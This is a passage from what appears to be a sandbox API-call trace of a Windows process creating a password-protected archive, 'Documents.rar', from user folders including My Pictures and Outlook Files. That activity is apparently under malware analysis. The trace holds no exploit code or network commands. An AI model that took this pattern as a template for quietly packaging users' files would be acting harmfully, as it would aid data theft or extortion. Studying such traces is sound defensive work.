(hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.185] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="GIwIhnYq") returned 8 [0069.185] SetWindowTextW (hWnd=0x10280, lpString="M53FxPpcT") returned 1 [0069.185] GetTickCount () returned 0xa67937 [0069.185] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.185] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.185] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.185] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.185] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.185] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.185] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.185] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.185] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.185] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.185] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.185] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.185] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x4708d6 [0069.185] SetFilePointer (in: hFile=0x198, lDistanceToMove=40, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4708fe [0069.185] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.185] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.185] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.185] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.186] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655318, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4708d6 [0069.186] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x4708d6 [0069.186] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.186] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.186] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.186] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.186] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.186] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.186] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.186] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x28, lpOverlapped=0x0) returned 1 [0069.186] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.186] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.186] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4708fe [0069.186] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.186] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.186] FindFirstFileW (in: lpFileName="My Music", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.186] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.186] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.186] GetTickCount () returned 0xa67937 [0069.186] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.186] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.186] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.186] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.186] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="M53FxPpcT") returned 9 [0069.186] SetWindowTextW (hWnd=0x10280, lpString="My Music") returned 1 [0069.186] GetTickCount () returned 0xa67937 [0069.186] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.186] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.186] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.187] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.187] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.187] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.187] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.187] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.187] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x4708fe [0069.187] SetFilePointer (in: hFile=0x198, lDistanceToMove=40, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x470926 [0069.187] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.187] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.187] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.187] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.187] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655358, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4708fe [0069.187] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x4708fe [0069.187] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.187] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.187] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.187] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.187] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.187] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x28, lpOverlapped=0x0) returned 1 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.187] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.187] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470926 [0069.187] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.187] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.187] FindFirstFileW (in: lpFileName="My Pictures", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.188] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.188] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.188] GetTickCount () returned 0xa67937 [0069.188] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.188] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.188] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.188] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.188] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="My Music") returned 8 [0069.188] SetWindowTextW (hWnd=0x10280, lpString="My Pictures") returned 1 [0069.188] GetTickCount () returned 0xa67937 [0069.188] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.188] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.188] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.188] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.188] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.188] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.188] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.188] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.188] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.188] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.188] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.188] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.188] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x470926 [0069.188] SetFilePointer (in: hFile=0x198, lDistanceToMove=43, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x470951 [0069.188] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.188] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.188] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.188] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.189] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655398, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470926 [0069.189] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x470926 [0069.189] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.189] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.189] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.189] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.189] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.189] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.189] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.189] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x2b, lpOverlapped=0x0) returned 1 [0069.189] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.189] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.189] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470951 [0069.189] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.189] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.189] FindFirstFileW (in: lpFileName="My Videos", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.189] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.189] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.189] GetTickCount () returned 0xa67937 [0069.189] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.189] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.189] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.189] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.189] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="My Pictures") returned 11 [0069.189] SetWindowTextW (hWnd=0x10280, lpString="My Videos") returned 1 [0069.189] GetTickCount () returned 0xa67937 [0069.189] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.189] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.189] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.190] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.190] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.190] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x470951 [0069.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=41, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x47097a [0069.190] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.190] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.190] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.190] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655441, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470951 [0069.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x470951 [0069.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.190] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.190] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.190] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x29, lpOverlapped=0x0) returned 1 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.190] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x47097a [0069.190] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.190] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.190] FindFirstFileW (in: lpFileName="Outlook Files", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.190] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.191] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.191] GetTickCount () returned 0xa67937 [0069.191] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.191] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.191] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.191] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.191] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="My Videos") returned 9 [0069.191] SetWindowTextW (hWnd=0x10280, lpString="Outlook Files") returned 1 [0069.191] GetTickCount () returned 0xa67937 [0069.191] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.191] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.191] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.191] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.191] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.191] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.191] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.191] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.191] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x47097a [0069.191] SetFilePointer (in: hFile=0x198, lDistanceToMove=44, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4709a6 [0069.191] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.191] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.191] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.191] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.191] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655482, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x47097a [0069.192] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x47097a [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, 